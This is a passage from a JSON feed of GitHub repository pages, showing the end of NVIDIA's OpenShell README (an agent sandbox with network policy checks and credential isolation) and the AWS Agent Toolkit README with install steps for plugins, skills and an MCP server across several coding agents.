system calls it can make, and every network connection passes through a policy check before it leaves the sandbox. Agents never see real credentials; OpenShell adds them only to requests bound for approved endpoints.</li> \n <li><strong>Formally verified policy changes.</strong> Before a policy change is approved, OpenShell uses formal verification to flag risky new access it would grant, such as reaching a new host with credentials or calling a new API method, so those changes wait for human review.</li> \n</ul> \n<p>See <a href=\"https://docs.nvidia.com/openshell/latest/about/architecture\">Architecture</a> for how the gateway, supervisor, and sandbox fit together.</p> \n<h2>Quickstart</h2> \n<p>You need Linux, macOS on Apple Silicon, or Windows with WSL 2 (experimental), plus Docker, Podman, or host virtualization. See the <a href=\"https://docs.nvidia.com/openshell/latest/about/support-matrix\">Support Matrix</a> for details.</p> \n<pre><code class=\"language-shell\">curl -LsSf https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh\nopenshell sandbox create --name demo\n</code></pre> \n<p>The installer sets up the CLI and a local gateway. The default sandbox image is minimal Ubuntu with no agent installed. To run a real agent, follow <a href=\"https://docs.nvidia.com/openshell/latest/about/run-your-first-agent\">Run Your First Agent</a>: it runs OpenCode against a free OpenRouter model and shows how to approve new access as the agent needs it.</p> \n<h2>Explore Further</h2> \n<ul> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/sandboxes/overview\">Sandboxes</a>: images, runtimes, GPUs, and lifecycle.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/policies/overview\">Policies</a>: filesystem, network, and process rules, with the <a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/policies/advisor\">advisor</a> and <a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/policies/prover\">prover</a> for reviewing changes.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/providers/overview\">Providers</a>: credentials that work only at approved endpoints, including <a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/inference\">inference</a>.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/gateways/overview\">Gateways</a>: the control plane for sandboxes, policy, and access.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/kubernetes/setup\">Kubernetes</a>: deploy the gateway with Helm. Your CNI must enforce <code>NetworkPolicy</code>.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/extensibility/overview\">Extensibility</a>: middleware, interceptors, and compute drivers.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/tutorials/first-network-policy\">Tutorials</a>: step-by-step policy and agent walkthroughs.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/about/installation#prerelease-and-development-builds\">Prerelease and development builds</a>: try an upcoming release or the latest commit on <code>main</code>.</li> \n</ul> \n<h2>Agent Skills</h2> \n<p>Install the public OpenShell skills for your coding agent:</p> \n<pre><code class=\"language-shell\">npx skills add NVIDIA/OpenShell\n</code></pre> \n<p>The skills teach your agent to drive the OpenShell CLI, write sandbox policies, and debug gateways and inference routing. They live in <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/skills/\"><code>skills/</code></a> and work without an OpenShell source checkout.</p> \n<h2>SDKs</h2> \n<p>SDKs connect applications to an OpenShell gateway. They do not install the CLI. Use the same OpenShell release for the SDK and the gateway when possible.</p> \n<table> \n <thead> \n  <tr> \n   <th>Language</th> \n   <th>Install</th> \n   <th>Docs</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Python</td> \n   <td><code>uv add openshell</code></td> \n   <td><a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/python/openshell/\">README</a></td> \n  </tr> \n  <tr> \n   <td>TypeScript</td> \n   <td><code>npm install @nvidia/openshell-sdk</code> (GitHub Packages)</td> \n   <td><a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/sdk/typescript/README.md\">README</a></td> \n  </tr> \n  <tr> \n   <td>Go</td> \n   <td><code>go get github.com/NVIDIA/OpenShell/sdk/go@latest</code></td> \n   <td><a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/sdk/go/README.md\">README</a></td> \n  </tr> \n  <tr> \n   <td>Rust</td> \n   <td><code>cargo add openshell-sdk --git https://github.com/NVIDIA/OpenShell --tag &lt;release-tag&gt;</code></td> \n   <td><a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/docs/sdk/rust.mdx\">Installation and usage</a></td> \n  </tr> \n </tbody> \n</table> \n<h2>Community</h2> \n<ul> \n <li><strong>Questions and discussion:</strong> <a href=\"https://github.com/NVIDIA/OpenShell/discussions\">GitHub Discussions</a></li> \n <li><strong>Bug reports and feature requests:</strong> <a href=\"https://github.com/NVIDIA/OpenShell/issues\">GitHub Issues</a>, using the issue templates</li> \n <li><strong>Security vulnerabilities:</strong> follow <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/SECURITY.md\">SECURITY.md</a>. Do not open a GitHub issue.</li> \n <li><strong>Roadmap:</strong> <a href=\"https://github.com/orgs/NVIDIA/projects/233\">OpenShell Roadmap</a> and the <a href=\"https://github.com/orgs/NVIDIA/projects/233/views/6\">RFC board</a></li> \n <li><strong>Try it in the cloud:</strong> <a href=\"https://brev.nvidia.com/launchable/deploy/now?launchableID=env-3Ap3tL55zq4a8kew1AuW0FpSLsg\">Brev Launchable</a></li> \n</ul> \n<p>OpenShell is built agent-first: it is developed with the same agent-driven workflows it enables. See <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/CONTRIBUTING.md\">CONTRIBUTING.md</a> for development setup and the contribution workflow, and <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/AGENTS.md\">AGENTS.md</a> for repository coding conventions.</p> \n<h2>Telemetry</h2> \n<p>OpenShell collects anonymous telemetry, limited to operational categories and counts, to help improve the project. It does not collect sandbox names, hostnames, file paths, prompts, credentials, provider or model names, or user content. To disable it, set <code>OPENSHELL_TELEMETRY_ENABLED=false</code> on the gateway, or <code>server.telemetryEnabled=false</code> for Helm installs. You can also compile telemetry out entirely. See <a href=\"https://docs.nvidia.com/openshell/latest/observability/telemetry\">Telemetry</a> for details and the <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/telemetry/README.md\">community telemetry reports</a> for published usage trends.</p> \n<h2>Notice and Disclaimer</h2> \n<p>This software automatically retrieves, accesses or interacts with external materials. Those retrieved materials are not distributed with this software and are governed solely by separate terms, conditions and licenses. You are solely responsible for finding, reviewing and complying with all applicable terms, conditions, and licenses, and for verifying the security, integrity and suitability of any retrieved materials for your specific use case. This software is provided \"AS IS\", without warranty of any kind. The author makes no representations or warranties regarding any retrieved materials, and assumes no liability for any losses, damages, liabilities or legal consequences from your use or inability to use this software or any retrieved materials. Use this software and the retrieved materials at your own risk.</p> \n<h2>License</h2> \n<p>This project is licensed under the <a href=\"https://github.com/NVIDIA/OpenShell/raw/main/LICENSE\">Apache License 2.0</a>.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/aws/agent-toolkit-for-aws", "url": "https://github.com/aws/agent-toolkit-for-aws", "external_url": null, "title": "aws/agent-toolkit-for-aws", "content_text": "", "content_html": "<p>Official, AWS-supported MCP servers, skills, and plugins to help AI agents build on AWS</p><hr /><h1>Agent Toolkit for AWS</h1> \n<p><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/badge/License-Apache%202.0-blue.svg?sanitize=true\" /></a> <a href=\"https://github.com/aws/agent-toolkit-for-aws/actions/workflows/build.yml\"><img alt=\"Build\" src=\"https://github.com/aws/agent-toolkit-for-aws/actions/workflows/build.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://github.com/aws/agent-toolkit-for-aws\"><img alt=\"Status\" src=\"https://img.shields.io/badge/status-GA-green.svg?sanitize=true\" /></a></p> \n<p>Help AI coding agents build, deploy, and manage applications on AWS.</p> \n<p>The Agent Toolkit for AWS gives AI coding agents the tools, knowledge, and guardrails they need to work with AWS services. It works with the coding agents developers already use \u2014 including Claude Code, Codex, Cursor, Devin, Kiro, and fx.</p> \n<h2>Quick start</h2> \n<h3>AWS CLI</h3> \n<p>Use the Agent Toolkit directly from your terminal with the AWS CLI:</p> \n<pre><code>aws configure agent-toolkit\n</code></pre> \n<p>See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/aws-cli.html\">AWS CLI integration guide</a> for setup, configuration, and usage instructions.</p> \n<h3>Claude Code</h3> \n<p>The plugins are available on the official Anthropic marketplace (<code>claude-plugins-official</code>) which is added to your Claude Code installation by default. Use the following commands to install supported plugins from the toolkit:</p> \n<p>For <code>aws-core</code> that covers service selection, CDK/CloudFormation, serverless, containers, storage, observability, billing, SDK usage, and deployment:</p> \n<pre><code>/plugin install aws-core@claude-plugins-official\n</code></pre> \n<blockquote> \n <p><strong>Tip:</strong> If you get <code>Plugin not found</code>, update your local marketplace index first:</p> \n <pre><code>/plugin marketplace update claude-plugins-official\n</code></pre> \n</blockquote> \n<p>For <code>aws-agents</code> that covers building AI agents on AWS with Amazon Bedrock and AgentCore:</p> \n<pre><code>/plugin install aws-agents@claude-plugins-official\n</code></pre> \n<p>For <code>aws-data-analytics</code> that covers data lake, analytics, and ETL workflows with S3 Tables, AWS Glue, and Athena:</p> \n<pre><code>/plugin install aws-data-analytics@claude-plugins-official\n</code></pre> \n<p>For <code>aws-agents-for-devsecops</code> used to investigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with AWS DevOps Agent and AWS Security Agent.</p> \n<pre><code>/plugin marketplace add aws/agent-toolkit-for-aws\n/plugin install aws-agents-for-devsecops\n/reload-plugins\n\n# Or from Claude's official marketplace:\n/plugin install aws-agents-for-devsecops@claude-plugins-official\n/reload-plugins\n\n# Setup:\n/aws-agents-for-devsecops:setup\n</code></pre> \n<p>For <code>aws-startup-advisor</code> that covers startup-focused architecture, cost, security, and AWS Activate guidance, plus migrations to AWS from Azure, GCP, Heroku, and AI stacks such as OpenAI and Gemini, install from this repository's marketplace:</p> \n<pre><code>/plugin marketplace add aws/agent-toolkit-for-aws\n/plugin install aws-startup-advisor@agent-toolkit-for-aws\n/reload-plugins\n</code></pre> \n<h3>Codex</h3> \n<p>In your terminal:</p> \n<pre><code>codex plugin marketplace add aws/agent-toolkit-for-aws\n</code></pre> \n<p>Then launch Codex and run <code>/plugins</code> to browse and install the <strong>aws-core</strong> plugin.</p> \n<h3>Cursor</h3> \n<p>Add this repository as a team marketplace from <strong>Settings \u2192 Plugins \u2192 Team Marketplaces \u2192 Add Marketplace \u2192 Import from Repo</strong>, pointing it at <code>aws/agent-toolkit-for-aws</code>. Cursor indexes the plugins listed in <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/.cursor-plugin/marketplace.json\"><code>.cursor-plugin/marketplace.json</code></a> on import.</p> \n<p>Then open the <strong>Plugins</strong> panel and install the <strong>aws-core</strong> plugin (start here), or <strong>aws-agents</strong> and <strong>aws-data-analytics</strong> as needed. Each plugin bundles the AWS MCP Server configuration and agent skills.</p> \n<h3>Devin</h3> \n<p>In your terminal:</p> \n<pre><code>devin plugins install aws/agent-toolkit-for-aws#plugins/aws-core\n</code></pre> \n<p>This requires <code>devin auth login</code> and adds the plugin to your personal plugins, so it also loads in Devin cloud sessions and Devin Desktop. Add <code>--local</code> to install on this machine only. To install a different plugin, replace <code>aws-core</code> with its name from <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/#plugins\">Plugins</a>, such as <code>aws-agents</code> or <code>aws-data-analytics</code>.</p> \n<p>In the Devin web app, choose <strong>Customize \u2192 Plugins \u2192 Add plugin \u2192 From repository</strong>, enter <code>aws/agent-toolkit-for-aws</code>, and set the subdirectory to <code>plugins/aws-core</code> (or another plugin's directory). Personal plugins added there are also available in the Devin CLI and Devin Desktop.</p> \n<h3>Kiro</h3> \n<p>Kiro setup has two independent parts: the AWS MCP Server (for runtime AWS API access and documentation search) and local skills (for task-specific agent guidance). They complement each other but work independently \u2014 skills don't require the MCP server, and the MCP server doesn't serve locally-installed skills.</p> \n<p><strong>1. Add the AWS MCP Server</strong> to your Kiro MCP configuration (<code>.kiro/settings/mcp.json</code>):</p> \n<pre><code class=\"language-json\">{\n  \"mcpServers\": {\n    \"aws\": {\n      \"command\": \"uvx\",\n      \"args\": [\n        \"mcp-proxy-for-aws-cli@latest\",\n        \"https://aws-mcp.us-east-1.api.aws/mcp\",\n        \"--metadata\",\n        \"AWS_REGION=us-west-2\"\n      ]\n    }\n  }\n}\n</code></pre> \n<p>The MCP server gives your agent access to AWS APIs, sandboxed script execution, and real-time documentation search.</p> \n<p><strong>2. Install skills</strong> from this repository:</p> \n<pre><code>npx skills add aws/agent-toolkit-for-aws/skills\n</code></pre> \n<p>This installs skill files to <code>~/.kiro/skills/</code> (global) or <code>.kiro/skills/</code> (project-level). Each skill is a directory containing a <code>SKILL.md</code> file and optionally a <code>references/</code> subdirectory with additional context the agent reads from the local filesystem when needed. Kiro discovers installed skills automatically and activates them on demand when a task matches.</p> \n<blockquote> \n <p><strong>Prerequisites:</strong> You need <a href=\"https://docs.astral.sh/uv/\">uv</a> installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/\">user guide</a> for detailed setup instructions.</p> \n</blockquote> \n<h3>fx</h3> \n<p><a href=\"https://fx.sh\">fx</a> setup has the same two independent parts as Kiro: the AWS MCP Server (for runtime AWS API access and documentation search) and local skills (for task-specific agent guidance). Skills don't require the MCP server, and the MCP server doesn't serve locally-installed skills.</p> \n<p><strong>1. Add the AWS MCP Server</strong> from your terminal. fx stores MCP servers in <code>~/.fx/mcp.json</code>, so the server is available in every project:</p> \n<pre><code>fx mcp add aws uvx mcp-proxy-for-aws-cli@latest https://aws-mcp.us-east-1.api.aws/mcp --metadata AWS_REGION=us-west-2\n</code></pre> \n<p>Or add it to <code>~/.fx/mcp.json</code> by hand. fx uses the <code>mcp</code> key rather than <code>mcpServers</code>, <code>type</code> to select the transport, and a single <code>command</code> array holding the executable and its arguments:</p> \n<pre><code class=\"language-json\">{\n  \"mcp\": {\n    \"aws\": {\n      \"type\": \"local\",\n      \"command\": [\n        \"uvx\",\n        \"mcp-proxy-for-aws-cli@latest\",\n        \"https://aws-mcp.us-east-1.api.aws/mcp\",\n        \"--metadata\",\n        \"AWS_REGION=us-west-2\"\n      ]\n    }\n  }\n}\n</code></pre> \n<p>If a session is already open when you edit the file, run <code>/mcp reload</code> to pick up the change. The MCP server gives your agent access to AWS APIs, sandboxed script execution, and real-time documentation search.</p> \n<p><strong>2. Install skills</strong> from this repository:</p> \n<pre><code>npx skills add aws/agent-toolkit-for-aws/skills -a fx\n</code></pre> \n<p>This installs skill files to <code>.fx/skills/</code> (project-level); add <code>-g</code> to install to <code>~/.fx/skills/</code> (global). fx also discovers skills already installed for other agents in <code>.agents/skills/</code>, <code>.claude/skills/</code>, and <code>.codex/skills/</code>, so a project set up for Codex or Claude Code needs no second copy. Each skill is a directory containing a <code>SKILL.md</code> file and optionally a <code>references/</code> subdirectory with additional context the agent reads from the local filesystem when needed. fx reads skill metadata at startup and loads a skill's instructions when you or the agent invokes it; type <code>$</code> in the composer or run <code>/skills</code> to browse what's installed.</p> \n<blockquote> \n <p><strong>Prerequisites:</strong> You need <a href=\"https://docs.astral.sh/uv/\">uv</a> installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/\">user guide</a> for detailed setup instructions.</p> \n</blockquote> \n<h3>Other agents</h3> \n<p>See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/getting-started-aws-mcp-server.html\">AWS MCP Server getting started guide</a> for instructions on configuring the AWS MCP Server with your agent.</p> \n<p>Then install skills from this repository:</p> \n<pre><code>npx skills add aws/agent-toolkit-for-aws/skills\n</code></pre> \n<blockquote> \n <p><strong>Prerequisites:</strong> You need <a href=\"https://docs.astral.sh/uv/\">uv</a> installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/\">user guide</a> for detailed setup instructions.</p> \n</blockquote> \n<h2>What's included</h2> \n<h3>Plugins</h3> \n<p>Plugins bundle the AWS MCP Server configuration and agent skills into a single install for your coding agent.</p> \n<table> \n <thead> \n  <tr> \n   <th>Plugin</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-core/\">aws-core</a></td> \n   <td>Core AWS skills and MCP Server configuration. Covers service selection, CDK/CloudFormation, serverless, containers, storage, observability, billing, SDK usage, and deployment. <strong>Start here.</strong></td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-agents/\">aws-agents</a></td> \n   <td>Skills for building AI agents on AWS with Amazon Bedrock and AgentCore.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-data-analytics/\">aws-data-analytics</a></td> \n   <td>Skills for data lake, analytics, and ETL workflows with S3 Tables, AWS Glue, and Athena.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-agents-for-devsecops/\">aws-agents-for-devsecops</a></td> \n   <td>Investigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with <a href=\"https://aws.amazon.com/devops-agent/?trk=7b4b0d25-1409-441c-b914-c5d08677c376&amp;sc_channel=ghr\">AWS DevOps Agent</a> and <a href=\"https://aws.amazon.com/security-agent/?trk=7b4b0d25-1409-441c-b914-c5d08677c376&amp;sc_channel=ghr\">AWS Security Agent</a>.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-startup-advisor/\">aws-startup-advisor</a></td> \n   <td>Puts an AWS Startups Solutions Architect in your coding assistant. Recommends the smallest architecture for your stage, credits, and team, then can scaffold it, migrate you from Azure, Google Cloud, or Heroku, move model calls to Amazon Bedrock, investigate production incidents, answer AWS Activate credits eligibility questions, and find startup offers you can use.</td> \n  </tr> \n </tbody> \n</table> \n<p>Plugins are currently available for Claude Code, Codex, Cursor, and Devin. For other agents, configure the AWS MCP Server directly and install skills from this repository.</p> \n<h3>Skills</h3> \n<p>Agent skills are curated packages of instructions and reference materials that help agents complete specific AWS tasks. Skills are loaded on demand \u2014 agents discover and retrieve only what's relevant to the current task.</p> \n<pre><code>npx skills add aws/agent-toolkit-for-aws/skills\n</code></pre> \n<p>Browse the <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/skills/\"><code>skills/</code></a> directory to see all available skills.</p> \n<h3>Rules files</h3> \n<p>Recommended project-level configuration files that tell agents how to use AWS most effectively \u2014 for example, by using the AWS MCP Server, discovering available skills, or searching documentation before acting.</p> \n<p>See <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/rules/\"><code>rules/</code></a> for details.</p> \n<h3>AWS MCP Server</h3> \n<p>The <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/understanding-mcp-server-tools.html\">AWS MCP Server</a> is a managed server that gives agents access to AWS through the Model Context Protocol. It provides:</p> \n<ul> \n <li><strong>Full AWS API coverage</strong> \u2014 Interact with any of the 300+ AWS services through a single authenticated endpoint.</li> \n <li><strong>Sandboxed script execution</strong> \u2014 Agents can run Python scripts in an isolated environment for complex multi-step operations.</li> \n <li><strong>Real-time documentation access</strong> \u2014 Search and retrieve current AWS documentation, API references, and service capabilities without authentication.</li> \n <li><strong>Enterprise controls</strong> \u2014 Amazon CloudWatch metrics, IAM context keys for agent-specific policies, and AWS CloudTrail audit logging.</li> \n</ul> \n<p>For details on operation, available tools, authentication, and supported Regions, see the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/understanding-mcp-server-tools.html\">AWS MCP Server documentation</a>.</p> \n<h2>Documentation</h2> \n<ul> \n <li><a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/\">User guide</a> \u2014 Setup, configuration, and reference documentation.</li> \n <li><a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/understanding-mcp-server-tools.html\">AWS MCP Server tools</a> \u2014 Reference for all available MCP tools.</li> \n</ul> \n<h2>How the Agent Toolkit relates to the MCP servers, skills, and plugins in AWS Labs</h2> \n<p>In 2025, AWS began releasing MCP servers, skills, and plugins as part of <a href=\"https://github.com/awslabs\">AWS Labs</a>. The Agent Toolkit for AWS is the successor to those tools. We recommend using the Agent Toolkit for AWS, because it offers key features including:</p> \n<ul> \n <li>IAM condition keys that distinguish between agent actions and human actions, so you can write policies that apply only to agents. For example, you can write policies that only allow read-only actions through the MCP server, even if the user\u2019s underlying IAM role can take write actions).</li> \n <li>CloudWatch metrics and CloudTrail audit logging for every request, so you can monitor and audit coding agent activity.</li> \n <li>Agent skills that have undergone thorough end-to-end evaluations, so you can be confident that workflows will complete successfully.</li> \n</ul> \n<p><a href=\"https://github.com/awslabs\">AWS Labs</a> MCP servers, skills, and plugins will continue to work and accept contributions, and over time the best of AWS Labs will be transitioned to the Agent Toolkit for AWS to ensure that customers can access the broadest array of tooling and guidance for their agents.</p> \n<h2>License</h2> \n<p>This project is licensed under the Apache-2.0 License. See <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/LICENSE\">LICENSE</a> for details.</p>", "summary": "<p>Official, AWS-supported MCP servers, skills, and plugins to help AI agents build on AWS</p><hr /><h1>Agent Toolkit for AWS</h1> \n<p><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/badge/License-Apache%202.0-blue.svg?sanitize=true\" /></a> <a href=\"https://github.com/aws/agent-toolkit-for-aws/actions/workflows/build.yml\"><img alt=\"Build\" src=\"https://github.com/aws/agent-toolkit-for-aws/actions/workflows/build.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://github.com/aws/agent-toolkit-for-aws\"><img alt=\"Status\" src=\"https://img.shields.io/badge/status-GA-green.svg?sanitize=true\" /></a></p> \n<p>Help AI coding agents build, deploy, and manage applications on AWS.</p> \n<p>The Agent Toolkit for AWS gives AI coding agents the tools, knowledge, and guardrails they need to work with AWS services. It works with the coding agents developers already use \u2014 including Claude Code, Codex, Cursor, Devin, Kiro, and fx.</p> \n<h2>Quick start</h2> \n<h3>AWS CLI</h3> \n<p>Use the Agent Toolkit directly from your terminal with the AWS CLI:</p> \n<pre><code>aws configure agent-toolkit\n</code></pre> \n<p>See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/aws-cli.html\">AWS CLI integration guide</a> for setup, configuration, and usage instructions.</p> \n<h3>Claude Code</h3> \n<p>The plugins are available on the official Anthropic marketplace (<code>claude-plugins-official</code>) which is added to your Claude Code installation by default. Use the following commands to install supported plugins from the toolkit:</p> \n<p>For <code>aws-core</code> that covers service selection, CDK/CloudFormation, serverless, containers, storage, observability, billing, SDK usage, and deployment:</p> \n<pre><code>/plugin install aws-core@claude-plugins-official\n</code></pre> \n<blockquote> \n <p><strong>Tip:</strong> If you get <code>Plugin not found</code>, update your local marketplace index first:</p> \n <pre><code>/plugin marketplace update claude-plugins-official\n</code></pre> \n</blockquote> \n<p>For <code>aws-agents</code> that covers building AI agents on AWS with Amazon Bedrock and AgentCore:</p> \n<pre><code>/plugin install aws-agents@claude-plugins-official\n</code></pre> \n<p>For <code>aws-data-analytics</code> that covers data lake, analytics, and ETL workflows with S3 Tables, AWS Glue, and Athena:</p> \n<pre><code>/plugin install aws-data-analytics@claude-plugins-official\n</code></pre> \n<p>For <code>aws-agents-for-devsecops</code> used to investigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with AWS DevOps Agent and AWS Security Agent.</p> \n<pre><code>/plugin marketplace add aws/agent-toolkit-for-aws\n/plugin install aws-agents-for-devsecops\n/reload-plugins\n\n# Or from Claude's official marketplace:\n/plugin install aws-agents-for-devsecops@claude-plugins-official\n/reload-plugins\n\n# Setup:\n/aws-agents-for-devsecops:setup\n</code></pre> \n<p>For <code>aws-startup-advisor</code> that covers startup-focused architecture, cost, security, and AWS Activate guidance, plus migrations to AWS from Azure, GCP, Heroku, and AI stacks such as OpenAI and Gemini, install from this repository's marketplace:</p> \n<pre><code>/plugin marketplace add aws/agent-toolkit-for-aws\n/plugin install aws-startup-advisor@agent-toolkit-for-aws\n/reload-plugins\n</code></pre> \n<h3>Codex</h3> \n<p>In your terminal:</p> \n<pre><code>codex plugin marketplace add aws/agent-toolkit-for-aws\n</code></pre> \n<p>Then launch Codex and run <code>/plugins</code> to browse and install the <strong>aws-core</strong> plugin.</p> \n<h3>Cursor</h3> \n<p>Add this repository as a team marketplace from <strong>Settings \u2192 Plugins \u2192 Team Marketplaces \u2192 Add Marketplace \u2192 Import from Repo</strong>, pointing it at <code>aws/agent-toolkit-for-aws</code>. Cursor indexes the plugins listed in <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/.cursor-plugin/marketplace.json\"><code>.cursor-plugin/marketplace.json</code></a> on import.</p> \n<p>Then open the <strong>Plugins</strong> panel and install the <strong>aws-core</strong> plugin (start here), or <strong>aws-agents</strong> and <strong>aws-data-analytics</strong> as needed. Each plugin bundles the AWS MCP Server configuration and agent skills.</p> \n<h3>Devin</h3> \n<p>In your terminal:</p> \n<pre><code>devin plugins install aws/agent-toolkit-for-aws#plugins/aws-core\n</code></pre> \n<p>This requires <code>devin auth login</code> and adds the plugin to your personal plugins, so it also loads in Devin cloud sessions and Devin Desktop. Add <code>--local</code> to install on this machine only. To install a different plugin, replace <code>aws-core</code> with its name from <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/#plugins\">Plugins</a>, such as <code>aws-agents</code> or <code>aws-data-analytics</code>.</p> \n<p>In the Devin web app, choose <strong>Customize \u2192 Plugins \u2192 Add plugin \u2192 From repository</strong>, enter <code>aws/agent-toolkit-for-aws</code>, and set the subdirectory to <code>plugins/aws-core</code> (or another plugin's directory). Personal plugins added there are also available in the Devin CLI and Devin Desktop.</p> \n<h3>Kiro</h3> \n<p>Kiro setup has two independent parts: the AWS MCP Server (for runtime AWS API access and documentation search) and local skills (for task-specific agent guidance). They complement each other but work independently \u2014 skills don't require the MCP server, and the MCP server doesn't serve locally-installed skills.</p> \n<p><strong>1. Add the AWS MCP Server</strong> to your Kiro MCP configuration (<code>.kiro/settings/mcp.json</code>):</p> \n<pre><code class=\"language-json\">{\n  \"mcpServers\": {\n    \"aws\": {\n      \"command\": \"uvx\",\n      \"args\": [\n        \"mcp-proxy-for-aws-cli@latest\",\n        \"https://aws-mcp.us-east-1.api.aws/mcp\",\n        \"--metadata\",\n        \"AWS_REGION=us-west-2\"\n      ]\n    }\n  }\n}\n</code></pre> \n<p>The MCP server gives your agent access to AWS APIs, sandboxed script execution, and real-time documentation search.</p> \n<p><strong>2. Install skills</strong> from this repository:</p> \n<pre><code>npx skills add aws/agent-toolkit-for-aws/skills\n</code></pre> \n<p>This installs skill files to <code>~/.kiro/skills/</code> (global) or <code>.kiro/skills/</code> (project-level). Each skill is a directory containing a <code>SKILL.md</code> file and optionally a <code>references/</code> subdirectory with additional context the agent reads from the local filesystem when needed. Kiro discovers installed skills automatically and activates them on demand when a task matches.</p> \n<blockquote> \n <p><strong>Prerequisites:</strong> You need <a href=\"https://docs.astral.sh/uv/\">uv</a> installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/\">user guide</a> for detailed setup instructions.</p> \n</blockquote> \n<h3>fx</h3> \n<p><a href=\"https://fx.sh\">fx</a> setup has the same two independent parts as Kiro: the AWS MCP Server (for runtime AWS API access and documentation search) and local skills (for task-specific agent guidance). Skills don't require the MCP server, and the MCP server doesn't serve locally-installed skills.</p> \n<p><strong>1. Add the AWS MCP Server</strong> from your terminal. fx stores MCP servers in <code>~/.fx/mcp.json</code>, so the server is available in every project:</p> \n<pre><code>fx mcp add aws uvx mcp-proxy-for-aws-cli@latest https://aws-mcp.us-east-1.api.aws/mcp --metadata AWS_REGION=us-west-2\n</code></pre> \n<p>Or add it to <code>~/.fx/mcp.json</code> by hand. fx uses the <code>mcp</code> key rather than <code>mcpServers</code>, <code>type</code> to select the transport, and a single <code>command</code> array holding the executable and its arguments:</p> \n<pre><code class=\"language-json\">{\n  \"mcp\": {\n    \"aws\": {\n      \"type\": \"local\",\n      \"command\": [\n        \"uvx\",\n        \"mcp-proxy-for-aws-cli@latest\",\n        \"https://aws-mcp.us-east-1.api.aws/mcp\",\n        \"--metadata\",\n        \"AWS_REGION=us-west-2\"\n      ]\n    }\n  }\n}\n</code></pre> \n<p>If a session is already open when you edit the file, run <code>/mcp reload</code> to pick up the change. The MCP server gives your agent access to AWS APIs, sandboxed script execution, and real-time documentation search.</p> \n<p><strong>2. Install skills</strong> from this repository:</p> \n<pre><code>npx skills add aws/agent-toolkit-for-aws/skills -a fx\n</code></pre> \n<p>This installs skill files to <code>.fx/skills/</code> (project-level); add <code>-g</code> to install to <code>~/.fx/skills/</code> (global). fx also discovers skills already installed for other agents in 